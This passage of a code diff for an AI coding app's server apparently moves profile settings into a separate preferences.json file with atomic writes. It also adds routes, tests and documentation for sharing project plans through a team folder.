"scope": "profile"
},
"summaryLength": {
"scope": "profile"
},
"maxLastMessageLength": {
"scope": "profile"
},
"showDeletionDialog": {
"scope": "profile"
},
"nativeNotificationsEnabled": {
"scope": "profile"
},
"notificationMode": {
"scope": "profile"
},
"notifyOnSubtasks": {
"scope": "profile"
},
"notifyOnCompletion": {
"scope": "profile"
},
"notifyOnError": {
"scope": "profile"
},
"notifyOnQuestion": {
"scope": "profile"
},
"notificationTemplates": {
"scope": "profile"
},
"showOpenCodeUpdateNotifications": {
"scope": "profile"
},
"reportUsage": {
"scope": "profile"
},
"usageDisplayMode": {
"scope": "profile"
},
"usageDropdownProviders": {
"scope": "profile"
},
"usageSelectedModels": {
"scope": "profile"
},
"usageCollapsedFamilies": {
"scope": "profile"
},
"usageExpandedFamilies": {
"scope": "profile"
},
"usageModelGroups": {
"scope": "profile"
},
"globalBehaviorPrompt": {
"scope": "profile"
},
"responseStyleEnabled": {
"scope": "profile"
},
"responseStylePreset": {
"scope": "profile"
},
"responseStyleCustomInstructions": {
"scope": "profile"
},
"optimizeSystemPrompt": {
"scope": "profile"
},
"pwaAppName": {
"scope": "instance",
"surfaces": [
"web"
]
},
"pwaOrientation": {
"scope": "instance",
"surfaces": [
"web"
]
},
"mobileKeyboardMode": {
"scope": "device",
"surfaces": [
"mobile"
]
},
"desktopWindowControlsPosition": {
"scope": "device",
"surfaces": [
"desktop"
]
},
"desktopWindowControlsStyle": {
"scope": "device",
"surfaces": [
"desktop"
]
},
"inputBarOffset": {
"scope": "device",
"surfaces": [
"mobile",
"web"
]
},
"theme": {
"scope": "device",
"local": true
},
"isSidebarOpen": {
"scope": "device",
"local": true
},
"sidebarWidth": {
"scope": "device",
"local": true
},
"contextPanelByDirectory": {
"scope": "device",
"local": true
},
"contextRailOrder": {
"scope": "device",
"local": true
},
"contextRailHiddenSurfaces": {
"scope": "device",
"local": true
},
"contextEditorTreeVisible": {
"scope": "device",
"local": true
},
"contextEditorTreeWidth": {
"scope": "device",
"local": true
},
"notesPanelHeight": {
"scope": "device",
"local": true
},
"workStatusExpandedSections": {
"scope": "device",
"local": true
},
"workStatusScrollTop": {
"scope": "device",
"local": true
},
"isSessionSwitcherOpen": {
"scope": "device",
"local": true
},
"sidebarSection": {
"scope": "device",
"local": true
},
"settingsPage": {
"scope": "device",
"local": true
},
"settingsHasOpenedOnce": {
"scope": "device",
"local": true
},
"settingsProjectsSelectedId": {
"scope": "device",
"local": true
},
"settingsRemoteInstancesSelectedId": {
"scope": "device",
"local": true
},
"isSessionCreateDialogOpen": {
"scope": "device",
"local": true
},
"autoDeleteLastRunAt": {
"scope": "device",
"local": true
},
"messageLimit": {
"scope": "device",
"local": true
},
"walkthroughTocWidth": {
"scope": "device",
"local": true
},
"linearIssueListStatus": {
"scope": "device",
"local": true
},
"linearIssueListAssignee": {
"scope": "device",
"local": true
},
"linearIssueListTeamIdByRuntime": {
"scope": "device",
"local": true
},
"linearIssueListPriority": {
"scope": "device",
"local": true
},
"showTerminalQuickKeysOnDesktop": {
"scope": "device",
"local": true
},
"dockBadgeEnabled": {
"scope": "device",
"local": true
},
"agentMemoryViewedAt": {
"scope": "device",
"local": true
},
"projectContextSidebarWidth": {
"scope": "device",
"local": true
},
"desktopSplashColors": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
},
"desktopHosts": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
},
"desktopDefaultHostId": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
},
"desktopInstallId": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
},
"desktopLocalPort": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
},
"desktopSshInstances": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
},
"desktopWindowState": {
"scope": "instance",
"owner": "desktop-shell",
"surfaces": [
"desktop"
]
}
}
}
@@ -1,4 +1,18 @@
import { createProjectIdFromPath } from '../projects/project-id.js';
import {
buildPreferencesFields,
flattenPreferences,
instancePartOf,
legacySettingsDocumentOf,
profilePartOf,
isDeviceSettingsKey,
isProfileSettingsKey,
normalizeSettingsSurface,
parsePreferencesDocument,
preferencesFilePathFor,
seedPreferencesFrom,
serializePreferencesDocument,
} from './settings-files.js';
const DEFAULT_NOTIFICATION_TEMPLATES = {
completion: { title: '{agent_name} is ready', message: '{model_name} completed the task' },
@@ -48,6 +62,13 @@ export const createSettingsRuntime = (deps) => {
let persistSettingsLock = Promise.resolve();
const PREFERENCES_FILE_PATH = preferencesFilePathFor(SETTINGS_FILE_PATH, path);
// True while preferences.json exists but cannot be read. Profile writes are
// refused meanwhile so a corrupt file is never overwritten with a seed or a
// partial document; clients keep the values they hold.
let preferencesUnavailable = false;
let preferencesFailureLogged = false;
// Orphan recovery is a one-shot best-effort scan: when orphans can't be
// matched on first pass they stay on disk and every subsequent settings
// read would re-scan them. In-process (Electron) this runs in the main
@@ -472,7 +493,7 @@ export const createSettingsRuntime = (deps) => {
}
};
const readSettingsFromDisk = async () => {
const readInstanceSettingsFromDisk = async () => {
try {
const raw = await fsPromises.readFile(SETTINGS_FILE_PATH, 'utf8');
const parsed = JSON.parse(raw);
@@ -489,6 +510,67 @@ export const createSettingsRuntime = (deps) => {
}
};
/**
* `{ status: 'missing' }` when the file does not exist, `{ status: 'ok',
* fields }` when it parsed, `{ status: 'failed' }` for anything else. Only
* "missing" may be seeded; "failed" must leave the file alone.
*/
const readPreferenceFields = async () => {
let raw;
try {
raw = await fsPromises.readFile(PREFERENCES_FILE_PATH, 'utf8');
} catch (error) {
if (error && typeof error === 'object' && error.code === 'ENOENT') {
return { status: 'missing' };
}
if (!preferencesFailureLogged) {
preferencesFailureLogged = true;
console.warn('Failed to read preferences file:', error);
}
return { status: 'failed' };
}
const parsed = parsePreferencesDocument(raw);
if (!parsed.ok) {
if (!preferencesFailureLogged) {
preferencesFailureLogged = true;
console.warn(`Preferences file is unreadable (${parsed.reason}); profile writes are paused until it is fixed or removed.`);
}
return { status: 'failed' };
}
preferencesFailureLogged = false;
return { status: 'ok', fields: parsed.fields };
};
const writePreferencesToDisk = async (fields) => {
await writeJsonFileAtomic(PREFERENCES_FILE_PATH, serializePreferencesDocument(fields));
};
// The merged document every consumer sees: instance facts from settings.json
// plus the profile from preferences.json. On the first read of an install
// that predates the split, the profile keys still sitting in settings.json
// seed preferences.json. settings.json keeps a copy of the profile's base
// values on every write too, so an older build (which reads only that file)
// still finds everything where it used to be.
const readSettingsFromDisk = async ({ surface = null } = {}) => {
const instance = await readInstanceSettingsFromDisk();
const preferences = await readPreferenceFields();
if (preferences.status === 'failed') {
preferencesUnavailable = true;
return instance;
}
preferencesUnavailable = false;
if (preferences.status === 'missing') {
const seeded = seedPreferencesFrom(instance, Date.now());
try {
await writePreferencesToDisk(seeded);
} catch (error) {
console.warn('Failed to seed preferences file:', error);
}
return instance;
}
return { ...instance, ...flattenPreferences(preferences.fields, normalizeSettingsSurface(surface)) };
};
// Strict variant for callers that REGENERATE persisted identity when a key is
// absent (relay signing/encryption keys). The lenient reader above maps every
// failure — corrupt JSON, EACCES, transient I/O — to `{}`, which such callers
@@ -558,7 +640,7 @@ export const createSettingsRuntime = (deps) => {
try {
const entries = await fsPromises.readdir(directory, { withFileTypes: true });
const cleanupTasks = entries
.filter((entry) => entry.isFile() && entry.name.startsWith('settings.json.tmp-'))
.filter((entry) => entry.isFile() && (entry.name.startsWith('settings.json.tmp-') || entry.name.startsWith('preferences.json.tmp-')))
.map((entry) => fsPromises.rm(path.join(directory, entry.name), { force: true }).catch(() => {}));
await Promise.all(cleanupTasks);
} catch {
@@ -566,27 +648,54 @@ export const createSettingsRuntime = (deps) => {
}
};
const writeSettingsToDisk = async (settings) => {
const settingsDirectory = path.dirname(SETTINGS_FILE_PATH);
await fsPromises.mkdir(settingsDirectory, { recursive: true, mode: 0o700 });
if (process.platform !== 'win32') await fsPromises.chmod(settingsDirectory, 0o700);
// Atomic write: Electron main and ssh-manager read this file via plain
const writeJsonFileAtomic = async (filePath, text) => {
const directory = path.dirname(filePath);
await fsPromises.mkdir(directory, { recursive: true, mode: 0o700 });
if (process.platform !== 'win32') await fsPromises.chmod(directory, 0o700);
// Atomic write: Electron main and ssh-manager read these files via plain
// readFile + JSON.parse and silently coerce parse errors to {}. A
// partial read during a non-atomic writeFile would make their next
// read-modify-write wipe the settings file.
const tmp = `${SETTINGS_FILE_PATH}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
// read-modify-write wipe the file.
const tmp = `${filePath}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
try {
await fsPromises.writeFile(tmp, JSON.stringify(settings, null, 2), { encoding: 'utf8', mode: 0o600 });
await fsPromises.writeFile(tmp, text, { encoding: 'utf8', mode: 0o600 });
if (process.platform !== 'win32') await fsPromises.chmod(tmp, 0o600);
await replaceFile(tmp, SETTINGS_FILE_PATH);
if (process.platform !== 'win32') await fsPromises.chmod(SETTINGS_FILE_PATH, 0o600);
await replaceFile(tmp, filePath);
if (process.platform !== 'win32') await fsPromises.chmod(filePath, 0o600);
} catch (error) {
await fsPromises.rm(tmp, { force: true }).catch(() => {});
console.warn('Failed to write settings file:', error);
console.warn(`Failed to write ${path.basename(filePath)}:`, error);
throw error;
}
};
/**
* Persist a merged document: profile keys go to preferences.json (stamped
* when their value changed), everything else to settings.json. While
* preferences.json is unreadable its part is skipped rather than replaced.
*/
const writeSettingsToDisk = async (settings, { surface = null, changedKeys = null } = {}) => {
const current = preferencesUnavailable ? { status: 'failed' } : await readPreferenceFields();
if (current.status === 'failed') {
// The profile part is not saved; settings.json keeps whatever legacy
// profile copy it already holds rather than losing it too.
preferencesUnavailable = true;
const onDisk = await readInstanceSettingsFromDisk();
await writeJsonFileAtomic(SETTINGS_FILE_PATH, JSON.stringify({
...instancePartOf(settings),
...profilePartOf(onDisk),
}, null, 2));
return;
}
const previousFields = current.status === 'ok' ? current.fields : {};
const nextFields = buildPreferencesFields(previousFields, settings, Date.now(), {
surface: normalizeSettingsSurface(surface),
changedKeys,
});
await writeJsonFileAtomic(SETTINGS_FILE_PATH, JSON.stringify(legacySettingsDocumentOf(settings, nextFields), null, 2));
await writePreferencesToDisk(nextFields);
};
const validateProjectEntries = async (projects) => {
if (!Array.isArray(projects)) {
return [];
@@ -872,7 +981,7 @@ export const createSettingsRuntime = (deps) => {
let hasCleanedOrphanedTempFiles = false;
const readSettingsFromDiskMigrated = async () => {
const readSettingsFromDiskMigrated = async ({ surface = null } = {}) => {
if (!hasCleanedOrphanedTempFiles) {
hasCleanedOrphanedTempFiles = true;
await cleanupOrphanedSettingsTempFiles(path.dirname(SETTINGS_FILE_PATH));
@@ -889,16 +998,28 @@ export const createSettingsRuntime = (deps) => {
if (migration1.changed || migration2.changed || migration3.changed || migration4.changed || migration5.changed || migration6.changed || migration7.changed || migration8.changed) {
await writeSettingsToDisk(migration8.settings);
}
return migration8.settings;
// Migrations run on the base view; a surface asks for its own resolution
// of the per-surface keys on top of the migrated files.
return normalizeSettingsSurface(surface) ? readSettingsFromDisk({ surface }) : migration8.settings;
};
const persistSettings = async (changes) => {
const persistSettings = async (changes, { surface = null } = {}) => {
persistSettingsLock = persistSettingsLock.then(async () => {
// Log field names only — changes can carry credentials (UI password,
// client tokens, tunnel tokens) that must never reach the log file.
console.log('[persistSettings] Updating fields:', Object.keys(changes || {}).join(', ') || '(none)');
const current = await readSettingsFromDisk();
const current = await readSettingsFromDisk({ surface });
const sanitized = sanitizeSettingsUpdate(changes);
for (const key of Object.keys(sanitized)) {
// Device state belongs to the install in front of the user, never to
// the instance; a client that still sends it is simply ignored.
if (isDeviceSettingsKey(key)) {
delete sanitized[key];
} else if (preferencesUnavailable && isProfileSettingsKey(key)) {
console.warn(`[persistSettings] Dropping ${key}: preferences file is unreadable`);
delete sanitized[key];
}
}
let next = mergePersistedSettings(current, sanitized);
const normalizedState = normalizeSettingsPaths(next);
@@ -962,7 +1083,7 @@ export const createSettingsRuntime = (deps) => {
}
}
await writeSettingsToDisk(next);
await writeSettingsToDisk(next, { surface, changedKeys: Object.keys(sanitized) });
return formatSettingsResponse(next);
});
@@ -6,7 +6,7 @@ import path from 'path';
import { createProjectIdFromPath } from '../projects/project-id.js';
import { createSettingsRuntime } from './settings-runtime.js';
const createRuntime = async () => {
const createRuntime = async ({ mergePersistedSettings = (_current, changes) => changes } = {}) => {
const tempRoot = await fsPromises.mkdtemp(path.join(os.tmpdir(), 'oc-settings-runtime-'));
const settingsFilePath = path.join(tempRoot, 'settings.json');
const runtime = createSettingsRuntime({
@@ -16,7 +16,7 @@ const createRuntime = async () => {
SETTINGS_FILE_PATH: settingsFilePath,
sanitizeProjects: (projects) => Array.isArray(projects) ? projects : [],
sanitizeSettingsUpdate: (settings) => settings,
mergePersistedSettings: (_current, changes) => changes,
mergePersistedSettings,
normalizeSettingsPaths: (settings) => ({ settings, changed: false }),
normalizeStringArray: (values) => Array.isArray(values) ? values.filter((value) => typeof value === 'string') : [],
formatSettingsResponse: (settings) => settings,
@@ -68,8 +68,8 @@ describe('settings runtime', () => {
}
});
it('round-trips shared sidebar preferences through settings.json', async () => {
const { runtime, settingsFilePath, cleanup } = await createRuntime();
it('round-trips shared sidebar preferences through preferences.json', async () => {
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
const preferences = {
sidebarProjectDisplayMode: 'single',
sidebarSessionGroupingMode: 'flat',
@@ -80,7 +80,10 @@ describe('settings runtime', () => {
await runtime.persistSettings(preferences);
await expect(runtime.readSettingsFromDisk()).resolves.toEqual(preferences);
await expect(fsPromises.readFile(settingsFilePath, 'utf8')).resolves.toBe(JSON.stringify(preferences, null, 2));
// Profile keys live in preferences.json; settings.json keeps a legacy copy for older builds.
expect(JSON.parse(await fsPromises.readFile(settingsFilePath, 'utf8'))).toEqual(preferences);
const stored = JSON.parse(await fsPromises.readFile(path.join(tempRoot, 'preferences.json'), 'utf8'));
expect(Object.fromEntries(Object.entries(stored.fields).map(([key, entry]) => [key, entry.value]))).toEqual(preferences);
} finally {
await cleanup();
}
@@ -248,3 +251,158 @@ describe('settings runtime', () => {
}
});
});
describe('settings runtime: preferences.json split', () => {
const readJson = async (filePath) => JSON.parse(await fsPromises.readFile(filePath, 'utf8'));
it('seeds preferences.json from the profile keys of an existing settings.json and leaves that file intact', async () => {
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
try {
const legacy = { projects: [], fontSize: 110, themeId: 'openchamber-dark', desktopLanAccessEnabled: true };
await fsPromises.writeFile(settingsFilePath, JSON.stringify(legacy));
const merged = await runtime.readSettingsFromDisk();
expect(merged).toMatchObject(legacy);
const preferences = await readJson(path.join(tempRoot, 'preferences.json'));
expect(preferences.version).toBe(1);
expect(Object.keys(preferences.fields).sort()).toEqual(['fontSize', 'themeId']);
expect(preferences.fields.fontSize.value).toBe(110);
expect(typeof preferences.fields.fontSize.updatedAt).toBe('number');
expect(await readJson(settingsFilePath)).toEqual(legacy);
} finally {
await cleanup();
}
});
it('routes profile keys to preferences.json, keeps a legacy copy of them in settings.json, and drops device keys', async () => {
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
try {
await runtime.persistSettings({ fontSize: 120, desktopLanAccessEnabled: true, mobileKeyboardMode: 'native' });
const settings = await readJson(settingsFilePath);
expect(settings.desktopLanAccessEnabled).toBe(true);
// Older builds read only settings.json: the profile's base values stay there as a copy.
expect(settings.fontSize).toBe(120);
expect(settings).not.toHaveProperty('mobileKeyboardMode');
const preferences = await readJson(path.join(tempRoot, 'preferences.json'));
expect(preferences.fields.fontSize.value).toBe(120);
expect(preferences.fields).not.toHaveProperty('mobileKeyboardMode');
expect(preferences.fields).not.toHaveProperty('desktopLanAccessEnabled');
expect(await runtime.readSettingsFromDisk()).toMatchObject({ fontSize: 120, desktopLanAccessEnabled: true });
} finally {
await cleanup();
}
});
it('keeps the timestamp of an unchanged profile key and restamps a changed one', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const preferencesPath = path.join(tempRoot, 'preferences.json');
await runtime.persistSettings({ fontSize: 100, padding: 100 });
const first = await readJson(preferencesPath);
await new Promise((resolve) => setTimeout(resolve, 5));
await runtime.persistSettings({ fontSize: 100, padding: 120 });
const second = await readJson(preferencesPath);
expect(second.fields.fontSize.updatedAt).toBe(first.fields.fontSize.updatedAt);
expect(second.fields.padding.updatedAt).toBeGreaterThan(first.fields.padding.updatedAt);
expect(second.fields.padding.value).toBe(120);
} finally {
await cleanup();
}
});
it('treats an unreadable preferences.json as failure: no seed, no overwrite, profile writes refused, instance still served', async () => {
const { runtime, settingsFilePath, tempRoot, cleanup } = await createRuntime();
try {
const preferencesPath = path.join(tempRoot, 'preferences.json');
await fsPromises.writeFile(settingsFilePath, JSON.stringify({ desktopLanAccessEnabled: true }));
await fsPromises.writeFile(preferencesPath, '{ not json');
expect(await runtime.readSettingsFromDisk()).toEqual({ desktopLanAccessEnabled: true });
await runtime.persistSettings({ fontSize: 130, desktopKeepAwakeEnabled: true });
expect(await fsPromises.readFile(preferencesPath, 'utf8')).toBe('{ not json');
const settings = await readJson(settingsFilePath);
expect(settings.desktopKeepAwakeEnabled).toBe(true);
// The refused profile write must not land in the legacy copy either.
expect(settings).not.toHaveProperty('fontSize');
} finally {
await cleanup();
}
});
});
describe('settings runtime: per-surface profile keys', () => {
const readJson = async (filePath) => JSON.parse(await fsPromises.readFile(filePath, 'utf8'));
// These sequences persist several times; the default stub replaces the
// document with the changes, the real merge keeps the current document.
const createMergingRuntime = () => createRuntime({ mergePersistedSettings: (current, changes) => ({ ...current, ...changes }) });
it('stores a per-surface key under the writing surface and leaves the base alone', async () => {
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
try {
await runtime.persistSettings({ fontSize: 100 }); // base (no surface): migrations and legacy callers
await runtime.persistSettings({ fontSize: 130, showReasoningTraces: false }, { surface: 'mobile' });
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
expect(stored.fields.fontSize.value).toBe(100);
expect(stored.fields.fontSize.surfaces.mobile.value).toBe(130);
// Not per-surface: written to the base regardless of the surface.
expect(stored.fields.showReasoningTraces.value).toBe(false);
expect(stored.fields.showReasoningTraces.surfaces).toBeUndefined();
expect((await runtime.readSettingsFromDisk({ surface: 'mobile' })).fontSize).toBe(130);
expect((await runtime.readSettingsFromDisk({ surface: 'desktop' })).fontSize).toBe(100);
expect((await runtime.readSettingsFromDisk()).fontSize).toBe(100);
expect((await runtime.readSettingsFromDiskMigrated({ surface: 'mobile' })).fontSize).toBe(130);
} finally {
await cleanup();
}
});
it('a per-surface key set only from one surface has no base and stays absent elsewhere', async () => {
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
try {
await runtime.persistSettings({ stickyUserHeader: false }, { surface: 'mobile' });
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
expect(stored.fields.stickyUserHeader).not.toHaveProperty('value');
expect(stored.fields.stickyUserHeader.surfaces.mobile.value).toBe(false);
expect((await runtime.readSettingsFromDisk({ surface: 'desktop' })).stickyUserHeader).toBeUndefined();
expect((await runtime.readSettingsFromDisk({ surface: 'mobile' })).stickyUserHeader).toBe(false);
} finally {
await cleanup();
}
});
it('a surface write of an unrelated key does not copy the resolved per-surface view into the file', async () => {
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
try {
await runtime.persistSettings({ fontSize: 100 });
await runtime.persistSettings({ fontSize: 130 }, { surface: 'mobile' });
await runtime.persistSettings({ showReasoningTraces: true }, { surface: 'mobile' });
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
expect(stored.fields.fontSize.value).toBe(100);
expect(stored.fields.fontSize.surfaces.mobile.value).toBe(130);
expect(stored.fields.fontSize.surfaces.desktop).toBeUndefined();
} finally {
await cleanup();
}
});
it('ignores an unknown surface header value and writes the base', async () => {
const { runtime, tempRoot, cleanup } = await createMergingRuntime();
try {
await runtime.persistSettings({ fontSize: 90 }, { surface: 'toaster' });
const stored = await readJson(path.join(tempRoot, 'preferences.json'));
expect(stored.fields.fontSize.value).toBe(90);
expect(stored.fields.fontSize.surfaces).toBeUndefined();
} finally {
await cleanup();
}
});
});
@@ -9,9 +9,10 @@ The managed Chats root (`~/.config/openchamber/chats`) is also one context owner
| Path | Owner | Contents |
|---|---|---|
| `<projectsDir>/<projectId>.json` | shared UI (`packages/ui/src/lib/openchamberConfig.ts`), plus server-owned `version` / `scheduledTasks` | worktree setup, draft starters, project actions |
| `<projectsDir>/<projectId>.json` | `packages/web/server/lib/projects` (`project-setup.js` for the client-owned keys behind `/api/projects/:projectId/config`; `project-config.js` for `version` / `scheduledTasks`), one write lock for both | worktree setup, draft starters, project actions, scheduled tasks |
| `<projectsDir>/<projectId>/context.json` | **this module, exclusively** | notes, todos, plan manifest |
| `<projectsDir>/<projectId>/plans/*.md` | **this module, exclusively** | plan bodies |
| `<repo>/<plansDir>/*.md` | this module (read, edit, delete, move) when the team config names a `plansDir`; the folder is the team's, any tool may write there | shared plan bodies |
The split is the point. Both files were previously one, written by the client
with a whole-file read-modify-write. Adding a server writer to that file would
@@ -58,6 +59,27 @@ denormalized into the manifest so listing plans costs one read rather than one
read per plan; `readPlan` returns the title parsed from the file, which wins if
the two ever disagree.
## Shared plans
Every `.md` file in the repository plans folder is a plan too: `.openchamber/plans`
by default, or the `plansDir` the team config (`<repo>/.openchamber/project.json`,
see `packages/web/server/lib/projects`) names instead of it (the custom folder
replaces the default outright; moving files between the two is the user's job). `readContext` appends them after the personal ones,
each marked `source: "shared"` (personal ones get `source: "personal"`), and
reports the folder as `sharedPlansDir`. A shared plan is addressed as
`shared:<file>` when no manifest entry claims it; its title is parsed from the
file on every list, and `readPlan` / `updatePlan` / `deletePlan` work on the
file directly (an update writes the raw document verbatim, so a plan another
tool wrote keeps its shape). `setPlanPinned` is `404` for such a plan.
A plan the user moves there keeps its id: `sharePlan` moves the markdown into
the folder and keeps the manifest entry with `shared: true` (the flag says
which folder holds the file), so a session that attached the plan still finds
it, and the file is listed under that id instead of `shared:<file>`.
`unsharePlan` moves it back and clears the flag; a plan that only ever lived
in the team's folder gets a manifest entry (and an id) on the way in. A name
collision gets a numeric suffix. Sharing is refused only when the checkout cannot be located.
## Routes
| Method | Route | Notes |
@@ -72,6 +94,8 @@ the two ever disagree.
| POST | `/api/project-context/:projectId/plans` | `201`; takes `{title, body}`, never a path |
| PUT | `/api/project-context/:projectId/plans/:planId` | takes the whole `{raw}` document; `404` when the link or its markdown is gone |
| DELETE | `/api/project-context/:projectId/plans/:planId` | `404` when unknown |
| POST | `/api/project-context/:projectId/plans/:planId/share` | moves the plan into the shared folder; `400` without one, `404` when unknown |
| POST | `/api/project-context/:projectId/plans/:planId/unshare` | moves a `shared:` plan back; `404` when unknown |
**Body parsing is attached per route.** This server has no global JSON parser:
`core-routes` parses only an allowlist of `/api` path prefixes so the generic
@@ -57,6 +57,8 @@ const createApp = (overrides = {}) => {
context: emptyContext,
}),
deletePlan: async () => ({ deleted: true, context: emptyContext }),
sharePlan: async (_projectId, planId) => (planId === 'p1' ? { plan: { id: 'shared:a.md', file: 'a.md', title: 'A', createdAt: 1, pinned: false, source: 'shared' }, context: emptyContext } : null),
unsharePlan: async (_projectId, planId) => (planId === 'shared:a.md' ? { plan: { id: 'p2', file: 'a.md', title: 'A', createdAt: 1, pinned: false, source: 'personal' }, context: emptyContext } : null),
...overrides,
};
@@ -212,6 +214,22 @@ describe('project context routes over HTTP', () => {
.expect(400);
});
it('shares and unshares a plan, and answers 404 for an unknown one', async () => {
const { app } = createApp();
const shared = await request(app).post('/api/project-context/proj/plans/p1/share');
expect(shared.status).toBe(200);
expect(shared.body.plan.id).toBe('shared:a.md');
const back = await request(app).post('/api/project-context/proj/plans/shared%3Aa.md/unshare');
expect(back.status).toBe(200);
expect(back.body.plan.source).toBe('personal');
expect((await request(app).post('/api/project-context/proj/plans/nope/share')).status).toBe(404);
});
it('answers 400 when sharing without a shared plans folder', async () => {
const { app } = createApp({ sharePlan: async () => { throw new Error('shared plans folder is required'); } });
expect((await request(app).post('/api/project-context/proj/plans/p1/share')).status).toBe(400);
});
it('returns 404 for an unknown plan', async () => {
const { app } = createApp();
await request(app).get(`${BASE}/plans/nope`).expect(404);
@@ -220,6 +220,21 @@ export const registerProjectContextRoutes = (app, dependencies) => {
}
});
// Moving a plan between the user's folder and the team's shared folder.
for (const [suffix, method] of [['share', 'sharePlan'], ['unshare', 'unsharePlan']]) {
app.post(`/api/project-context/:projectId/plans/:planId/${suffix}`, async (req, res) => {
try {
const result = await projectContextRuntime[method](req.params.projectId, req.params.planId);
if (!result) {
return res.status(404).json({ error: 'Plan not found' });
}
return res.json(result);
} catch (error) {
return respondWithError(res, error, `Failed to ${suffix} plan`);
}
});
}
app.delete('/api/project-context/:projectId/plans/:planId', async (req, res) => {
try {
const { deleted, context } = await projectContextRuntime.deletePlan(
@@ -164,15 +164,22 @@ const sanitizePlanLinks = (value, now) => {
const id = asNonEmptyString(entry.id);
const file = asNonEmptyString(entry.file);
if (!id || !file || !PLAN_FILE_PATTERN.test(file)) continue;
if (seenIds.has(id) || seenFiles.has(file)) continue;
// A personal file and a shared file may carry the same name: they live in different folders.
const shared = entry.shared === true;
const fileKey = `${shared ? 'shared' : 'personal'}/${file}`;
if (seenIds.has(id) || seenFiles.has(fileKey)) continue;
seenIds.add(id);
seenFiles.add(file);
seenFiles.add(fileKey);
result.push({
id,
file,
title: sanitizePlanTitle(entry.title) || 'Plan',
createdAt: Number.isFinite(entry.createdAt) && entry.createdAt >= 0 ? entry.createdAt : now,
pinned: entry.pinned === true,
// The user's own plan that was moved into the team's folder: it keeps
// its id (session attachments still point at it) and this flag says
// which folder holds the file.
shared,
});
}
return result.sort((a, b) => b.createdAt - a.createdAt);
@@ -185,8 +192,15 @@ const createEmptyContext = () => ({
plans: [],
});
const SHARED_PLAN_ID_PREFIX = 'shared:';
export const createProjectContextRuntime = (deps) => {
const { fsPromises, path, projectsDirPath, createId } = deps;
const { fsPromises, path, projectsDirPath, createId, resolveSharedPlansDir } = deps;
// The team's shared plans folder for a project (absolute path) or null; the
// project config runtime owns that answer (`plansDir` in the shared file).
const sharedPlansDirFor = typeof resolveSharedPlansDir === 'function'
? resolveSharedPlansDir
: async () => null;
const idFactory = typeof createId === 'function'
? createId
@@ -356,7 +370,7 @@ export const createProjectContextRuntime = (deps) => {
* of identical content, so concurrent migrations converge instead of
* interleaving.
*/
const readContext = async (projectId) => {
const readStoredContext = async (projectId) => {
const now = Date.now();
const stored = await readJson(contextPathFor(projectId));
@@ -385,6 +399,67 @@ export const createProjectContextRuntime = (deps) => {
};
};
/** The file name behind a shared plan id, or null when the id is not one. */
const sharedPlanFileOf = (planId) => {
if (typeof planId !== 'string' || !planId.startsWith(SHARED_PLAN_ID_PREFIX)) return null;
const file = planId.slice(SHARED_PLAN_ID_PREFIX.length);
return PLAN_FILE_PATTERN.test(file) ? file : null;
};
/**
* Plans in the team's shared folder: every `.md` file there, newest first,
* addressed by `shared:<file>`. Plans written by other tools have no
* manifest entry, so the title comes from the file each time.
*/
const listSharedPlans = async (projectId, claimedFiles = new Set()) => {
const dir = await sharedPlansDirFor(projectId);
if (!dir) return { dir: null, plans: [] };
let entries;
try {
entries = await fsPromises.readdir(dir, { withFileTypes: true });
} catch (error) {
if (error && error.code === 'ENOENT') return { dir, plans: [] };
throw error;
}
const plans = [];
for (const entry of entries) {
if (!entry.isFile() || !PLAN_FILE_PATTERN.test(entry.name)) continue;
// Listed under its own id by the manifest entry that moved it there.
if (claimedFiles.has(entry.name)) continue;
const filePath = path.join(dir, entry.name);
const [raw, stat] = await Promise.all([fsPromises.readFile(filePath, 'utf8'), fsPromises.stat(filePath)]);
plans.push({
id: `${SHARED_PLAN_ID_PREFIX}${entry.name}`,
file: entry.name,
title: parsePlanMarkdown(raw).title,
createdAt: Math.round(stat.mtimeMs),
pinned: false,
source: 'shared',
});
}
plans.sort((left, right) => right.createdAt - left.createdAt);
return { dir, plans };
};
/** What clients see: the stored context plus the team's shared plans, each marked with its source. */
const readContext = async (projectId) => {
const stored = await readStoredContext(projectId);
const claimed = new Set(stored.plans.filter((plan) => plan.shared).map((plan) => plan.file));
const shared = await listSharedPlans(projectId, claimed);
const own = stored.plans
// A moved plan is only reachable while the project still has a shared folder.
.filter((plan) => !plan.shared || shared.dir)
.map(({ shared: isShared, ...plan }) => ({ ...plan, source: isShared ? 'shared' : 'personal' }));
return {
...stored,
plans: [...own, ...shared.plans],
sharedPlansDir: shared.dir,
};
};
/** The folder a manifest plan's file lives in; null for a moved plan when the project lost its shared folder. */
const folderOfLink = async (projectId, link) => (link.shared ? sharedPlansDirFor(projectId) : plansDirFor(projectId));
const writeContext = async (projectId, context) => {
await writeJsonAtomic(contextPathFor(projectId), {
version: PROJECT_CONTEXT_VERSION,
@@ -397,7 +472,7 @@ export const createProjectContextRuntime = (deps) => {
const saveTodos = async (projectId, todos) => {
return withWriteLock(projectId, async () => {
const now = Date.now();
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
const next = { ...current, todos: sanitizeTodos(todos, now) };
await writeContext(projectId, next);
return next;
@@ -420,7 +495,7 @@ export const createProjectContextRuntime = (deps) => {
return withWriteLock(projectId, async () => {
const now = Date.now();
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
if (current.notes.length >= PROJECT_NOTE_MAX_ITEMS) {
throw new Error(`A project can hold at most ${PROJECT_NOTE_MAX_ITEMS} notes`);
}
@@ -462,7 +537,7 @@ export const createProjectContextRuntime = (deps) => {
